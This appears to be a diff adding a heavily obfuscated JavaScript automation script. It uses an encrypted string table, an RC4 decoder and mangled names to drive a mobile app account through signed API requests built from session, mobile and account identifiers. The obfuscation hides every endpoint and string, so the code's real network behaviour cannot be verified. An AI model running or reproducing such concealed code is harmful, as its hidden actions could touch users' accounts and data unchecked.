+ return ["W7vZlmkqpW", "WODeW4msjZTqBmkJWPqR", "W4FcT8kAkCoS", "WOusW7lcICkxWRC0WQ8", "WOv/W7jZ", "uZ7cRmozW4ddRmk+WOSlW7C", "WPjzW7SumZjhCmkUWO49W64", "W5GyW63dPSoiWROk", "WQHeuSkHACk5WOBcO1hdICkzWQvcnXlcGmoMDCkLfmo6yCkiwq", "WQddO3n+uG", "WQhdRCojlmonFIJcQmk9", "W6VcJSkpcCo2A8oi", "FHhdOSkUnmkWmSk9", "WORdKh5pxW", "WPVcRsrnBG", "WP8kWPrKwq", "DG7dVSk5oG", "abBcVI/cJa", "W7aNW4CmW40NW79DWRTVpMbGWP9GxmoAWRCWq1K7F2C", "W4aDWRzkzwDoBmkOWQOzW5m", "AbL2dXC", "zCkmhmodW5i", "W5TnoSksaa", "W7JdGMOVvW", "WOzYW7L/WQW", "WRFdQSon", "rmkol8oyW5q", "rY/cQSoJW4VdQmk4WOmw", "pSkgWQCwWQO", "yJJcSSooW7y", "qdlcTCoVW4VdOmkM", "W40FW4qfWRC", "WP3cMCk2iCof", "ECkfFhdcHa", "WODeW5OnidTqBmkJWPqR", "W7PfhSkpnSkXWPpdVW", "WORcKSkrori", "W5vnW4foWPRdSxffCCkoW4/dTCkUAavDBSkUW4qAefdcRqWhusdcLgrSimoGW48hnSkir8oyoYLGW4iSWQ7cQJFdQHlcRCk9W4RcKwBcLvRcVSoHjSocWRjtn8kKmSoay8k2cSk6WQLCW6uylmo6x8kXW5tdONK0xI3cRComW4tdJSoKgXPlWOb5wu0VW5ZcTq3cHsPyWPSdW4VcHLX9WRldO8oCCmoYW61rWQFcKGVcVqGjehBcPwZcQSo2f0XYm8ouxCkyWQZdJCkNhMZcVZzdjSkLw0xcISkiWPrJm1tdJmk7kMzFW7BcOmozWRf0uNFcJG4rWRDLWQiAh8oYqSo9WQPyWPXKaq", "pCkHaSoczq", "ohvzBSoy", "f8oWlG", "WRZdSCoEah4", "ff7dMmk8mSosCa", "WQJdUL9vs8kyW4L0ue3cNmkPWOv4oGdcMIRcJSkiWPC6W5tdKv0OWQuaWQ0rW5pcOmovWRlcJrBcOYubWPxcNGFcKJv7", "WRNdVvHExG", "BLNcRa", "nbHZCtxdVItdRSoJgq", "a8kuWOJcNSky", "vmkOsvpcUW", "W4TOWRNdGLO", "W5eMW7K7WPlcQWfV", "bNbzC8oforzZWR48o8ouamkY", "WPNcMmklhmoqW6NdJmkK", "WRRdKvTMtq", "kNDhsCoziri", "eIuaj8odE8ogWRj8f2G", "smk8xCoD", "pKH5BSoz", "W6dcHmkOW5r/lmoQEa", "mgNcHmoAWOC", "WPW3W6FcV8kk", "W7KwW7pdRSkBW6a", "ku9EuIJcVfa1", "ACk+sKVcSmkRq8o0DCksWRWsE8kafGRdV8klW5BdQJeQsmoUEt5zv8oHW7RdVJa4WRarWRFdQ8ojWQFdM8o2WPNcJCo9W4xcOKmRW7jfWQxdOCkwW7ynW7KPW67cJ8kKW4dcIvJdSepdQL0CWODmkCohW7dcHmoNW4G0n8kogZS6W7f+A8okvq5ymmkRFNFdLCoNnmktW4RdQq", "WPNcUCkmbI0", "wdtcV8o5", "WOycW47cKbuOfh9hW4ZcMr4+iYtdI1tORyJMS5ddQ8kyW5NcHunPu8oouh3cOSkVnx1OWPq4", "WOyXWOyFWOKUW5y8", "n8k0WOxcOmk6BWSi", "jYmqfmo+", "WPdcPSkReGy", "pNPvvXO", "lCoSdCoEvG", "qmkygmozW5e", "cgbGrH8", "WQtdKSo7emod", "zbCoktK", "esS8iW", "iGhcHqBcKG", "DCkRtvdcQSo1", "W71gWQldQuq", "DrhdUmkel8k2", "WOSvWP1Atq", "WRhdGmo+mmoN", "msNcVXRcMa", "WQpcMJTg", "fZCswsW", "W7PUpSkioW", "WOBcIZHIAW", "kCoYzNBdRmo2WPq", "WQyXWP4", "W40QESoh", "eSosmmoPEq", "WRZcGCk7orW", "n8okeCooAG", "DJRcQ8oVWPpcUW", "WPraW4BcKCoaW5FcUSkmWPdcPa", "omkaimo7Da", "dComjSoG", "p37cLa", "hLxdHG", "W7tcOSoncCkDkZNcKmoOWQ8cW695", "gLvitdK", "amorl8oOAq", "WRVcQ8kjlmov", "WQ/cNSk+pmoC", "malcKI3cMbRcLgZdLmoG", "as8HgSoCCmoaWPK", "fG4Yb8oq", "WR5xW5voWPNdS08dimkDWONcHmo0AGLBA8kDW5Oif0VcIbartrpdTwvVEmkHWOX0iSkkmSoooY5MW6eSWRpcRGZcSc/cGSorWO3dRIBdQq/dR8kHwmojWRaLC8oEFmooymoiA8olW6LpW6GmoSk6dSk+WPJcPriNdNldPSkCWPNcSCk4pZL6WQmijaCYW7NcLtRdLJrFW40NW4VdUXbgWR7cPSo9pmkVW4eZW4xdQr7cRWK2lK3cGJhcSmoWqtvQvCkrmSkCW6RdMSk6y37cRd8", "WPNcMmklemoEW6JdMW", "hN5ZCbK", "sabkdYe", "zsSWmHZdK11WdG", "W4qgW6hdNmoE", "wCkGqG", "WR5VW6z4WOW", "WRpdISkzWOCg", "pLDmqsS", "W7fpdq", "W5y5W4yMWPq", "mMrwDSknW5KOmmoW", "nN9IgIldVEIVG+AXLowLHUI1OU++NoISPEAHGUAFR+E8HoE7L+MeS+ITOmkv", "WRldMCk6WQyk", "W5vxW5DtWP/dQxGyiCobWPVcVmoOqW", "WQHSW6zMWRWbW5fr", "WRSaW6jMWQa", "jZO9uZW+WQZdHMZcIstcHXu", "lxvzy8knW4u", "W5RdMw0QFW", "W6XyWOtdN0e", "aqBcTrNcJ8o8WO84W5/dQmoEWQpcNSojW5jdiw3cKCoiBq", "WPJdHSoloxq", "W7rodSkNiCkqWOe", "WPX/W6yVaq", "WPxcOYzhsG", "WObxWRlcUCkCW6vpcWHWWQeyyX3cO8klWRhcJSkrWQ7cLu0WWQhdIH7dQw5FhSkFW7hcRSksWRq4CKxdLX8", "vNFcPGhdGW", "xCkIwmoJWOOOW64KCCkU", "m8k0WPlcMmkNAG", "qJRcUmomWPhcKJFdOa", "pSk4nMHr", "ahFcOCobWPW", "wJRcJmol", "WP/cNSkCo8okW7ldIG", "igWNBehcGaCVrNpcQmoRWRbVztVdJSkeWQNdG07cRXC4", "WR/dI8k0WRqD", "WOVcI8kmeJS", "pSk5WP0OWOG", "gSk4WQivWQW", "W4Hudmo6", "WQNdVmkyWRGH", "lrFdHmkbnmkkfW", "ySk7c8o3W4e", "gfHgrJJcTM4hW7RcNW", "dcS/vqO+WQJdQgy", "WRPoW7dcPmoV", "WPmmWPDnDG", "h3TYvGG", "jSkmkmoaEa", "W5GrW7ZdGSo0gmo+", "w8kRqmoJWOO/W7uMCmk5", "WQDQW6i3oW", "gvldNmkG", "WQz4W55CWQ0", "WRdcJJXnuq", "a8kzpmkl", "nCkcnmohEg0X", "W4TEWOhdNK0", "fSo0A3hdVq", "WRW/W7zbWQK", "WPhcNrXyAG", "DCkLBu/cSCo4aSk8", "omkog8o7DW", "WRCMWO4AWPGYW6G", "WPa3WPLx", "WOngW6pcK8oa", "v2tcIHVdJa", "gComimoYW5W", "h8oaq8kDWPPXp8kxW6hdO8kGW4pdICkNW7KzWOuEou7dGCknW7JcQ8o/", "W65+WOFdM1W", "WQPvW7T7WOq", "mWBcKH8", "ys8oeWO", "falcGZJcSa", "W5nkWPJdP0a", "W6VdSwyzBCkKWQqu", "sJ7dHq", "vsjDiGa", "udRcRmoR", "WP4rWRv0sG", "bCk0WPlcLSo4oG", "WONdVCkgWOCtBSkPgG", "WOhdJSo9", "i8k0WPxcKG", "WOdcPrS", "WQtdImkVWReU"];
+ }());
+ }());
+ }());
+ }());
+ }());
+ }());
+ }();
+ 自定义_0xdc02f8 = function () {
+ return _0x11de0d;
+ };
+ return 自定义_0xdc02f8();
+}
+function 自定义_0x3ae78b(_0x56bbd4, _0x52f21e) {
+ const _0x43ca26 = 自定义_0xdc02f8();
+ 自定义_0x3ae78b = function (_0x20d041, _0x140fae) {
+ _0x20d041 = _0x20d041 - 223;
+ let _0x1fb434 = _0x43ca26[_0x20d041];
+ if (自定义_0x3ae78b.PnbiQY === undefined) {
+ var _0x578ff8 = function (_0xb67d55) {
+ const _0x401d13 = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=";
+ let _0x10adce = "";
+ let _0xde3077 = "";
+ for (let _0x45462b = 0, _0x27bd11, _0x3598cd, _0xff8196 = 0; _0x3598cd = _0xb67d55.charAt(_0xff8196++); ~_0x3598cd && (_0x27bd11 = _0x45462b % 4 ? _0x27bd11 * 64 + _0x3598cd : _0x3598cd, _0x45462b++ % 4) ? _0x10adce += String.fromCharCode(255 & _0x27bd11 >> (-2 * _0x45462b & 6)) : 0) {
+ _0x3598cd = _0x401d13.indexOf(_0x3598cd);
+ }
+ for (let _0x2202f1 = 0, _0x135449 = _0x10adce.length; _0x2202f1 < _0x135449; _0x2202f1++) {
+ _0xde3077 += "%" + ("00" + _0x10adce.charCodeAt(_0x2202f1).toString(16)).slice(-2);
+ }
+ return decodeURIComponent(_0xde3077);
+ };
+ const _0x89e821 = function (_0x2e7d23, _0x43e0f3) {
+ let _0x15924f = [];
+ let _0x550dfd = 0;
+ let _0x2d2d9b;
+ let _0x1be8e1 = "";
+ _0x2e7d23 = _0x578ff8(_0x2e7d23);
+ let _0x2958a6;
+ for (_0x2958a6 = 0; _0x2958a6 < 256; _0x2958a6++) {
+ _0x15924f[_0x2958a6] = _0x2958a6;
+ }
+ for (_0x2958a6 = 0; _0x2958a6 < 256; _0x2958a6++) {
+ _0x550dfd = (_0x550dfd + _0x15924f[_0x2958a6] + _0x43e0f3.charCodeAt(_0x2958a6 % _0x43e0f3.length)) % 256;
+ _0x2d2d9b = _0x15924f[_0x2958a6];
+ _0x15924f[_0x2958a6] = _0x15924f[_0x550dfd];
+ _0x15924f[_0x550dfd] = _0x2d2d9b;
+ }
+ _0x2958a6 = 0;
+ _0x550dfd = 0;
+ for (let _0x39a8c2 = 0; _0x39a8c2 < _0x2e7d23.length; _0x39a8c2++) {
+ _0x2958a6 = (_0x2958a6 + 1) % 256;
+ _0x550dfd = (_0x550dfd + _0x15924f[_0x2958a6]) % 256;
+ _0x2d2d9b = _0x15924f[_0x2958a6];
+ _0x15924f[_0x2958a6] = _0x15924f[_0x550dfd];
+ _0x15924f[_0x550dfd] = _0x2d2d9b;
+ _0x1be8e1 += String.fromCharCode(_0x2e7d23.charCodeAt(_0x39a8c2) ^ _0x15924f[(_0x15924f[_0x2958a6] + _0x15924f[_0x550dfd]) % 256]);
+ }
+ return _0x1be8e1;
+ };
+ 自定义_0x3ae78b.hoWrCY = _0x89e821;
+ _0x56bbd4 = arguments;
+ 自定义_0x3ae78b.PnbiQY = true;
+ }
+ const _0x13988d = _0x43ca26[0];
+ const _0x52f050 = _0x20d041 + _0x13988d;
+ const _0x450d47 = _0x56bbd4[_0x52f050];
+ !_0x450d47 ? (自定义_0x3ae78b.tjuSQm === undefined && (自定义_0x3ae78b.tjuSQm = true), _0x1fb434 = 自定义_0x3ae78b.hoWrCY(_0x1fb434, _0x140fae), _0x56bbd4[_0x52f050] = _0x1fb434) : _0x1fb434 = _0x450d47;
+ return _0x1fb434;
+ };
+ return 自定义_0x3ae78b(_0x56bbd4, _0x52f21e);
+}
+nowhour = Math[自定义_0x341b2a(1108, "x&3B")](new Date()[自定义_0x341b2a(599, "VaF8")]())[自定义_0x341b2a(896, "o)^n")]();
+Notify = 1;
+class 自定义_0x10f096 {
+ constructor(_0x1c0e3d) {
+ const _0x5816cb = 自定义_0x341b2a;
+ const _0x5ab9af = {
+ mAbhC: _0x5816cb(715, "s%@&")
+ };
+ const _0xaa7bd4 = _0x5ab9af[_0x5816cb(374, "&HpZ")][_0x5816cb(990, "p*zb")]("|");
+ let _0x22633b = 0;
+ while (true) {
+ switch (_0xaa7bd4[_0x22633b++]) {
+ case "0":
+ this[_0x5816cb(643, "Vn0V")] = _0x5816cb(503, "iiiI") + $[_0x5816cb(585, "s%@&")](4, 1) + "-" + $[_0x5816cb(941, "MB!Y")](4, 1) + _0x5816cb(1065, "MB!Y") + $[_0x5816cb(1339, "p*zb")](8, 1);
+ continue;
+ case "1":
+ this[_0x5816cb(618, "1ynp")] = $[_0x5816cb(1115, "rF75")](_0x1c0e3d[_0x5816cb(829, "In0I")]("#")[1], _0x5816cb(720, "lmHM"));
+ continue;
+ case "2":
+ this[_0x5816cb(1559, "x&3B")] = true;
+ continue;
+ case "3":
+ this[_0x5816cb(1461, "N4]F")] = "";
+ continue;
+ case "4":
+ this[_0x5816cb(1068, "No1k")] = _0x1c0e3d[_0x5816cb(893, "z54j")]("#")[0];
+ continue;
+ }
+ break;
+ }
+ }
+ async [自定义_0x341b2a(871, "N0QU")]() {
+ const _0x27c3f6 = 自定义_0x341b2a;
+ const _0x57d66 = {
+ ZStxD: _0x27c3f6(301, "KN6Z"),
+ akfkY: function (_0x215a8d, _0x3651ca) {
+ return _0x215a8d(_0x3651ca);
+ },
+ pCDts: _0x27c3f6(1596, "No1k"),
+ FGREE: function (_0x1c65af, _0x467336) {
+ return _0x1c65af == _0x467336;
+ },
+ tSHJv: function (_0x2429ef, _0x38f2be) {
+ return _0x2429ef !== _0x38f2be;
+ },
+ SsSwU: _0x27c3f6(1337, "!ou%"),
+ pdsbc: _0x27c3f6(1574, "4@e)")
+ };
+ let _0x2d2647 = _0x57d66[_0x27c3f6(882, "AM51")](encodeURIComponent, this[_0x27c3f6(1535, "8uYr")]);
+ let _0x18b8aa = $[_0x27c3f6(724, "YZhE")](8, 1) + "-" + $[_0x27c3f6(1116, "KN6Z")](4, 1) + "-" + $[_0x27c3f6(1480, "&IZa")](4, 1) + "-" + $[_0x27c3f6(1192, "#U#H")](4, 1) + "-" + $[_0x27c3f6(1480, "&IZa")](12, 1);
+ let _0x1fa89f = _0x27c3f6(596, "4@e)") + this[_0x27c3f6(1535, "8uYr")] + _0x27c3f6(1524, "v(5o") + this[_0x27c3f6(1254, "W!t^")] + "%%" + _0x18b8aa + "%%";
+ let _0x4502f6 = $[_0x27c3f6(597, "No1k")](_0x1fa89f);
+ let _0x4221ec = {
+ "X-REQUEST-ID": _0x18b8aa,
+ "X-SIGNATURE": _0x4502f6
+ };
+ let _0x14b5f4 = _0x27c3f6(1511, "Q[[u") + _0x2d2647 + _0x27c3f6(788, "#l!F") + this[_0x27c3f6(292, "@Qhb")];
+ let _0x497da1 = await $[_0x27c3f6(1389, "8uYr")](_0x57d66[_0x27c3f6(725, "x&3B")], _0x27c3f6(1119, "oY@q"), _0x4221ec, _0x14b5f4);
+ if (_0x57d66[_0x27c3f6(833, "1ynp")](_0x497da1[_0x27c3f6(1120, "Y]cP")], 0)) {
+ this[_0x27c3f6(1315, "AM51")] = true;
+ let _0x6ca6c6 = _0x497da1[_0x27c3f6(899, "o)^n")][_0x27c3f6(255, "XHDs")][_0x27c3f6(1243, "thN(")];
+ await this[_0x27c3f6(816, "s%@&")](_0x6ca6c6);
+ } else {
+ if (_0x57d66[_0x27c3f6(963, "lxlK")](_0x57d66[_0x27c3f6(537, "8uYr")], _0x57d66[_0x27c3f6(1196, "VaF8")])) {
+ this[_0x27c3f6(885, "!ou%")] = false;
+ } else {
+ const _0x1b31b3 = _0x57d66[_0x27c3f6(1135, "VaF8")][_0x27c3f6(828, "KN6Z")]("|");
+ let _0x214531 = 0;
+ while (true) {
+ switch (_0x1b31b3[_0x214531++]) {
+ case "0":
+ this[_0x27c3f6(664, "Q[[u")] = _0x497da1[_0x27c3f6(1419, "z54j")][_0x27c3f6(786, "oY@q")].id;
+ continue;
+ case "1":
+ _0x1b31b3[_0x27c3f6(961, "!ou%")]("【" + this[_0x27c3f6(745, "XHDs")] + _0x27c3f6(663, "&IZa") + _0x214531[_0x27c3f6(593, "$orq")][_0x27c3f6(1194, "AM51")][_0x27c3f6(781, "In0I")]);
+ continue;
+ case "2":
+ this[_0x27c3f6(251, "$orq")] = l[_0x27c3f6(1554, "W!t^")][_0x27c3f6(236, "7aPh")][_0x27c3f6(1365, "eVuk")];
+ continue;
+ case "3":
+ this[_0x27c3f6(1156, "YZhE")] = _0x14b5f4[_0x27c3f6(968, "XHDs")][_0x27c3f6(1296, "s%@&")][_0x27c3f6(1307, "x&3B")];
+ continue;
+ case "4":
+ this[_0x27c3f6(1362, "R^ea")] = k[_0x27c3f6(1419, "z54j")][_0x27c3f6(904, "4@e)")].id;
+ continue;
+ }
+ break;
+ }
+ }
+ }
+ }
+ async [自定义_0x341b2a(927, "lxlK")](_0x45dab7) {
+ const _0x2d5763 = 自定义_0x341b2a;
+ const _0x23074b = {
+ saNzo: function (_0x249d4a, _0x4e01b4) {
+ return _0x249d4a < _0x4e01b4;
+ },
+ ptQws: function (_0x27e58f, _0x34bce4) {
+ return _0x27e58f + _0x34bce4;
+ },
+ JXXPY: _0x2d5763(264, "x&3B"),
+ pVzeu: _0x2d5763(565, "Vn0V"),
+ zIufV: function (_0x438b0a, _0xe93cec) {
+ return _0x438b0a == _0xe93cec;
+ },
+ QAdcu: function (_0x449288, _0x3be702) {
+ return _0x449288 !== _0x3be702;
+ },
+ xpRcr: _0x2d5763(305, "iiiI"),
+ GNmhe: _0x2d5763(1399, "v(5o"),
+ uuNgy: _0x2d5763(574, "#U#H")
+ };
+ let _0x21c1ae = $[_0x2d5763(623, "rF75")](13);
+ let _0x5134c4 = $[_0x2d5763(941, "MB!Y")](8, 1) + "-" + $[_0x2d5763(1370, "$orq")](4, 1) + "-" + $[_0x2d5763(480, "Vn0V")](4, 1) + "-" + $[_0x2d5763(975, "7aPh")](4, 1) + "-" + $[_0x2d5763(724, "YZhE")](12, 1);
+ let _0x3d4131 = _0x2d5763(955, "iiiI") + _0x5134c4 + "&&" + _0x21c1ae + _0x2d5763(1253, "5E%E");
+ let _0x167711 = $[_0x2d5763(514, "IGsJ")](1, _0x23074b[_0x2d5763(1572, "8uYr")], _0x3d4131);
+ let _0x19caf5 = {
+ "X-SESSION-ID": _0x2d5763(1576, "7m]Q"),
+ "X-REQUEST-ID": _0x5134c4,
+ "X-SIGNATURE": _0x167711,
+ "X-TIMESTAMP": _0x21c1ae,
+ "User-Agent": _0x2d5763(973, "s%@&") + this[_0x2d5763(360, "AM51")] + ";"
+ };
+ let _0xf4c0da = _0x2d5763(667, "5E%E") + _0x45dab7 + _0x2d5763(1261, "IGsJ");
+ let _0x22f816 = await $[_0x2d5763(1349, "Vn0V")](_0x23074b[_0x2d5763(1490, "o)^n")], _0x2d5763(500, "8uYr"), _0x19caf5, _0xf4c0da);
+ if (_0x23074b[_0x2d5763(473, "%ucD")](_0x22f816[_0x2d5763(742, "No1k")], 0)) {
+ if (_0x23074b[_0x2d5763(661, "9([]")](_0x23074b[_0x2d5763(1483, "1ynp")], _0x23074b[_0x2d5763(457, "N4]F")])) {
+ const _0x578a65 = _0x23074b[_0x2d5763(1238, "x&3B")][_0x2d5763(326, "W!t^")]("|");
+ let _0x5b936b = 0;
+ while (true) {
+ switch (_0x578a65[_0x5b936b++]) {
+ case "0":
+ console[_0x2d5763(1197, "rg]E")]("【" + this[_0x2d5763(938, "iiiI")] + _0x2d5763(1074, "PQqk") + _0x22f816[_0x2d5763(586, "p*zb")][_0x2d5763(1046, "$orq")][_0x2d5763(472, "lmHM")]);
+ continue;
+ case "1":
+ this[_0x2d5763(1353, "KN6Z")] = _0x22f816[_0x2d5763(1341, "1ynp")][_0x2d5763(658, "IGsJ")].id;
+ continue;
+ case "2":
+ this[_0x2d5763(1487, "x&3B")] = _0x22f816[_0x2d5763(933, "oY@q")][_0x2d5763(860, "rg]E")][_0x2d5763(1372, "x&3B")];
+ continue;
+ case "3":
+ this[_0x2d5763(243, "#l!F")] = _0x22f816[_0x2d5763(1334, "rF75")][_0x2d5763(769, "eVuk")].id;
+ continue;
+ case "4":
+ this[_0x2d5763(371, "9([]")] = _0x22f816[_0x2d5763(1113, "x&3B")][_0x2d5763(756, "9([]")][_0x2d5763(831, "No1k")];
+ continue;
+ }
+ break;
+ }
+ } else {
+ var _0x1daf34 = [];
+ for (var _0x42897e = 0; _0x23074b[_0x2d5763(1519, "iiiI")](_0x42897e, _0x21c1ae[_0x2d5763(1497, "26yN")]); _0x42897e++) {
+ _0x1daf34[_0x42897e] = _0x23074b[_0x2d5763(390, "x&3B")]("00", _0x3d4131[_0x2d5763(1248, "lmHM")](_0x42897e)[_0x2d5763(1384, "$orq")](16))[_0x2d5763(281, "!ou%")](-4);
+ }
+ return _0x23074b[_0x2d5763(390, "x&3B")]("\\u", _0x1daf34[_0x2d5763(1368, "s%@&")]("\\u"));
+ }
+ }
+ }
+ async [自定义_0x341b2a(1581, "Q[[u")]() {
+ const _0xef3f6a = 自定义_0x341b2a;
+ const _0x360b7d = {
+ Wpnfo: function (_0x1f8201, _0x40d9e9) {
+ return _0x1f8201 == _0x40d9e9;
+ },
+ TGruF: _0xef3f6a(253, "&IZa"),
+ vxZqJ: function (_0x2454ee, _0x12e83b) {
+ return _0x2454ee == _0x12e83b;
+ },
+ XUVrx: function (_0x2d42ad, _0x35264f) {
+ return _0x2d42ad === _0x35264f;
+ },
+ nmzHi: _0xef3f6a(1244, "#U#H"),
+ WDhtS: _0xef3f6a(846, "lmHM"),
+ XkshN: _0xef3f6a(1450, "26yN"),
+ MSDCr: function (_0x4a74c5, _0x5afb08) {
+ return _0x4a74c5 == _0x5afb08;
+ },
+ HoCut: function (_0x1c5794, _0x4503a5) {
+ return _0x1c5794 == _0x4503a5;
+ },
+ MxLAW: _0xef3f6a(1545, "KN6Z"),
+ ZGGsU: function (_0x3281bc, _0x5579ee) {
+ return _0x3281bc == _0x5579ee;
+ },
+ GDrvL: function (_0x4ba12f, _0xc99f43) {
+ return _0x4ba12f === _0xc99f43;
+ },
+ CIUsb: _0xef3f6a(1227, "5E%E"),
+ MDUfU: _0xef3f6a(615, "&IZa")
+ };
+ let _0x1b8357 = {
+ mobile: this[_0xef3f6a(575, "s%@&")],
+ sessionId: this[_0xef3f6a(528, "8uYr")],
+ "User-Agent": _0xef3f6a(1189, "IGsJ") + this[_0xef3f6a(936, "9([]")] + _0xef3f6a(572, "lxlK"),
+ accountId: this[_0xef3f6a(1514, "7aPh")]
+ };
+ let _0xf60db9 = await $[_0xef3f6a(1023, "lmHM")](_0x360b7d[_0xef3f6a(1223, "W!t^")], _0xef3f6a(1414, "A4*i"), _0x1b8357);
+ if (_0x360b7d[_0xef3f6a(1459, "s%@&")](_0xf60db9[_0xef3f6a(964, "p*zb")], 200)) {
+ for (let _0x313401 of _0xf60db9[_0xef3f6a(1250, "26yN")][_0xef3f6a(1424, "MB!Y")]) {
+ _0x360b7d[_0xef3f6a(864, "26yN")](_0x313401[_0xef3f6a(259, "&HpZ")], 0) && (_0x360b7d[_0xef3f6a(1395, "PQqk")](_0x360b7d[_0xef3f6a(1249, "#l!F")], _0x360b7d[_0xef3f6a(294, "7aPh")]) ? g[_0xef3f6a(1133, "In0I")](h[i](j)) : (this[_0xef3f6a(1291, "&HpZ")] = _0x313401[_0xef3f6a(1498, "Y]cP")], await this[_0xef3f6a(445, "4@e)")](this[_0xef3f6a(1231, "t[fq")])));
+ _0x360b7d[_0xef3f6a(369, "yDrQ")](_0x313401[_0xef3f6a(1433, "x&3B")], _0x360b7d[_0xef3f6a(523, "MB!Y")]) && _0x360b7d[_0xef3f6a(1172, "KN6Z")](_0x313401[_0xef3f6a(323, "A4*i")], 1) && (await this[_0xef3f6a(1069, "Y]cP")]());
+ _0x360b7d[_0xef3f6a(562, "26yN")](_0x313401[_0xef3f6a(1549, "W!t^")], _0x360b7d[_0xef3f6a(699, "Q[[u")]) && _0x360b7d[_0xef3f6a(401, "Vn0V")](_0x313401[_0xef3f6a(1377, "rF75")], 1) && (_0x360b7d[_0xef3f6a(1284, "R^ea")](_0x360b7d[_0xef3f6a(1165, "VaF8")], _0x360b7d[_0xef3f6a(423, "YZhE")]) ? _0x360b7d[_0xef3f6a(1555, "N0QU")](o, 1) && (A[_0xef3f6a(1351, "lxlK")](_0xef3f6a(1106, "7m]Q")), B[_0xef3f6a(363, "@Qhb")](C), D[_0xef3f6a(1271, "v(5o")](_0xef3f6a(1504, "1ynp")), E[_0xef3f6a(505, "VaF8")](F) ? L[_0xef3f6a(361, "thN(")](M[_0xef3f6a(1330, "26yN")](N)) : O[_0xef3f6a(373, "eVuk")](P)) : await this[_0xef3f6a(1086, "N0QU")]());
+ }
+ }
+ }
+ async [自定义_0x341b2a(1273, "z54j")](_0x3ade48) {
+ const _0x142f9f = 自定义_0x341b2a;
+ const _0x2eba28 = {
+ JlYsE: _0x142f9f(760, "5E%E")
+ };
+ let _0x57e43e = {
+ mobile: this[_0x142f9f(1340, "KN6Z")],
+ sessionId: this[_0x142f9f(915, "lxlK")],
+ "User-Agent": _0x142f9f(1118, "N0QU") + this[_0x142f9f(1015, "t[fq")] + _0x142f9f(1288, "7m]Q"),
+ accountId: this[_0x142f9f(948, "o)^n")]
+ };
+ let _0x14bccd = _0x142f9f(1198, "&IZa") + _0x3ade48 + "}";
+ let _0x5f2f29 = await $[_0x142f9f(765, "VaF8")](_0x2eba28[_0x142f9f(1030, "p*zb")], _0x142f9f(737, "oY@q"), _0x57e43e, _0x14bccd);
+ await this[_0x142f9f(851, "MB!Y")]();
+ }
+ async [自定义_0x341b2a(626, "@Qhb")]() {
+ const _0x1a26b3 = 自定义_0x341b2a;
+ const _0x5eeaca = {
+ ucCLS: function (_0x1cf049, _0x416f0e) {
+ return _0x1cf049 + _0x416f0e;
+ },
+ VGDBQ: function (_0x48c208, _0x349cf3) {
+ return _0x48c208 + _0x349cf3;
+ },
+ asMTE: function (_0x3cf818, _0x3f216f) {
+ return _0x3cf818 * _0x3f216f;
+ },
+ YyGPO: function (_0x116095, _0x213d2) {
+ return _0x116095 * _0x213d2;
+ },
+ CSHFf: function (_0xd1e3f8, _0x1b01ca) {
+ return _0xd1e3f8 * _0x1b01ca;
+ },
+ iJqYT: _0x1a26b3(345, "thN("),
+ KMOaD: _0x1a26b3(672, "VaF8"),
+ wDGGx: function (_0x49a99f, _0x5168de) {
+ return _0x49a99f == _0x5168de;
+ },
+ oTiRQ: function (_0x5306f3, _0x2a2130) {
+ return _0x5306f3 !== _0x2a2130;
+ },
+ RmpUN: _0x1a26b3(1583, "Vn0V")
+ };
+ let _0x4d0428 = $[_0x1a26b3(456, "z54j")](channel);
+ let _0x1119d6 = $[_0x1a26b3(1357, "PQqk")](13);
+ let _0x3272cd = $[_0x1a26b3(286, "%ucD")](8, 1) + "-" + $[_0x1a26b3(1024, "t[fq")](4, 1) + "-" + $[_0x1a26b3(1345, "5E%E")](4, 1) + "-" + $[_0x1a26b3(674, "iiiI")](4, 1) + "-" + $[_0x1a26b3(1192, "#U#H")](12, 1);
+ let _0x3fcf31 = _0x1a26b3(647, "s%@&") + _0x3272cd + "&&" + _0x1119d6 + _0x1a26b3(527, "IGsJ");
+ let _0x237b65 = $[_0x1a26b3(741, "W!t^")](1, _0x5eeaca[_0x1a26b3(906, "p*zb")], _0x3fcf31);
+ let _0x5f1d67 = {
+ "X-SESSION-ID": _0x1a26b3(979, "Y]cP"),
+ "X-REQUEST-ID": _0x3272cd,
+ "X-SIGNATURE": _0x237b65,
+ "X-TIMESTAMP": _0x1119d6,
+ "User-Agent": _0x1a26b3(1398, "!ou%") + this[_0x1a26b3(1505, "iiiI")] + ";"
+ };
+ let _0x338d09 = await $[_0x1a26b3(348, "oY@q")](_0x5eeaca[_0x1a26b3(283, "N4]F")], _0x1a26b3(1215, "t[fq") + _0x4d0428, _0x5f1d67);
+ if (_0x5eeaca[_0x1a26b3(352, "4@e)")](_0x338d09[_0x1a26b3(1025, "XHDs")], 0)) {
+ if (_0x5eeaca[_0x1a26b3(1286, "No1k")](_0x5eeaca[_0x1a26b3(891, "8uYr")], _0x5eeaca[_0x1a26b3(869, "1ynp")])) {
+ return new _0x3272cd(_0x5eeaca[_0x1a26b3(850, "No1k")](_0x5eeaca[_0x1a26b3(712, "oY@q")](new _0x3fcf31()[_0x1a26b3(548, "$orq")](), _0x5eeaca[_0x1a26b3(673, "PQqk")](_0x5eeaca[_0x1a26b3(511, "No1k")](new _0x237b65()[_0x1a26b3(1600, "lxlK")](), 60), 1000)), _0x5eeaca[_0x1a26b3(809, "8uYr")](_0x5eeaca[_0x1a26b3(324, "PQqk")](_0x5eeaca[_0x1a26b3(728, "o)^n")](8, 60), 60), 1000)));
+ } else {
+ this.bb = _0x338d09[_0x1a26b3(698, "Y]cP")][_0x1a26b3(291, "o)^n")];
+ }
+ }
+ }
+ async [自定义_0x341b2a(939, "x&3B")]() {
+ const _0x59276e = 自定义_0x341b2a;
+ const _0x5e2e1c = {
+ hrOgB: _0x59276e(256, "XHDs"),
+ ONhRb: _0x59276e(758, "&HpZ"),
+ TWWpN: function (_0x275274, _0x1f5194) {
+ return _0x275274 == _0x1f5194;
+ },
+ UfVby: function (_0x3c1491, _0xe79f36) {
+ return _0x3c1491 !== _0xe79f36;
+ },
+ zINZN: _0x59276e(632, "v(5o"),
+ FhhyW: _0x59276e(1556, "N4]F")
+ };
+ this[_0x59276e(466, "v(5o")] = this.bb[$.RT(0, 9)].id;
+ let _0x2e0e24 = $[_0x59276e(273, "@Qhb")](13);
+ let _0x42e091 = $[_0x59276e(674, "iiiI")](8, 1) + "-" + $[_0x59276e(585, "s%@&")](4, 1) + "-" + $[_0x59276e(941, "MB!Y")](4, 1) + "-" + $[_0x59276e(724, "YZhE")](4, 1) + "-" + $[_0x59276e(722, "eVuk")](12, 1);
